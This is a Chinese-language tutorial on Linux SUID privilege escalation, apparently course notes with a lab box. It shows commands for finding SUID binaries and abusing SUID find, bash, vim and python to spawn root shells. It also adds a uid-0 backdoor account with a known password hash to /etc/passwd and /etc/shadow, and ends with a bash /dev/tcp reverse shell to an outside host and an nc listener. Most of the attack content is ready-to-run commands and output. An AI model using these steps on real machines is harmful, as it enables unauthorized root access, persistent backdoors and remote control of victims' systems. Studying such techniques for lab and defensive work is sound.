SUID提权

SUID介绍

利用SUID文件提权

SUID是一种特殊权限，设置了suid的程序文件，在用户执行该程序时，用户的权限是该程序文件属主的权限，例如程序文件的属主是root，那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似，只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置，它就是设置了suid权限的

```
[root@localhost ~]# ls -l /usr/bin/passwd
-rwsr-xr-x. 1 root root 27832 6月  10 2014 /usr/bin/passwd
[root@localhost ~]#
```

注意以下几点：

1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2. 命令执行者要对该程序文件拥有执行(x)权限.
3. 命令执行者在执行该程序时获得该程序文件属主的身份.
4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

```
chmod u+s filename    设置SUID位
chmod u-s filename    去掉SUID设置
```

SUID提权原理

原理：利用某些二进制文件设置了SUID权限，从而用root权限执行系统命令

常见的可以用来提权的命令如下：

```
nmap
vim
find
bash
more
less
nano
cp
awk
mv
更多命令查看：https://gtfobins.github.io/gtfobins/awk/#suid
```

查找SUID文件

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
```

一、`find / -user root -perm -4000 -print 2>/dev/null`

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

```
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件，文件的权限一般三位，777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件，包含权限位置四位，7000为最高，即-s-s-t，同样的方法
-perm -7000搜索的就是最高权限的文件-s-s-t
-perm +7000搜索的只要包含-s-s-t任意一个的文件，-s - -（4000）、- -s -（2000）、- - -
t（1000）等
```

5、-print 2>/dev/null 将标准错误输入到/dev/null文件

二、`find / -perm -u=s -type f 2>/dev/null`

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-perm -u=s 查找有s权限

4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件

三、`find / -user root -perm -4000 -exec ls -ldb {};`

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

5、-exec ls -ldb {}; 执行 ls -ddb命令

提取介绍

FIND提权

介绍

find比较常用,find用来在系统中查找文件。同时，它也有执行命令的能力。 因此，如果配置为使用SUID权限运行，则可以通过find执行的命令都将以root身份去运行

步骤

1、查找SUID文件

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
```

```
[jack@localhost ~]$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/find
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
```

2、利用find提权

```
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit
```

```
[jack@localhost ~]$ touch 1.txt
[jack@localhost ~]$ find 1.txt -exec whoami \;
root
[jack@localhost ~]$
```

BASH提权

介绍

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此，如果配置为使用SUID权限运行，则可以通过bash执行的命令都将以root身份去运行

步骤

1、查找SUID文件

```
find / -user r
oot -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
```

```
[jack@localhost ~]$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/bash
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
```

2、利用bash提权

```
bash -p
```

```
[jack@localhost ~]$ bash -p
bash-4.2# whoami
root
bash-4.2#
```

VIM提权

介绍

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow，为自己添加一个有root权限的用户

步骤

1、查找SUID文件

```
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
```

```
[jack@localhost ~]$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/vim
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
```

2、利用bash提权

第一种方式，利用vim添加账号

```
vim /etc/passwd    添加特权用户
添加：bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow   添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::    密码是123456
```

第二种，利用vim打开交互shell

```
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

```
[redacted] ssh bob@192.168.41.135
bob@192.168.41.135's password:
Last login: Thu May  5 19:04:49 2022 from 192.168.41.1
Could not chdir to home directory /home/bob: No such file or directory
-bash-4.2#
-bash-4.2#
-bash-4.2#
-bash-4.2# whoami
root
-bash-4.2#
```

PYTHON提权

```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

课后阅读

```
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
```

实战提权

1、反弹shell

```
bash -i >&/dev/tcp/192.168.41.135/8888 0>&1
```

2、nc连接

```
nc.exe -lvvp 8888
```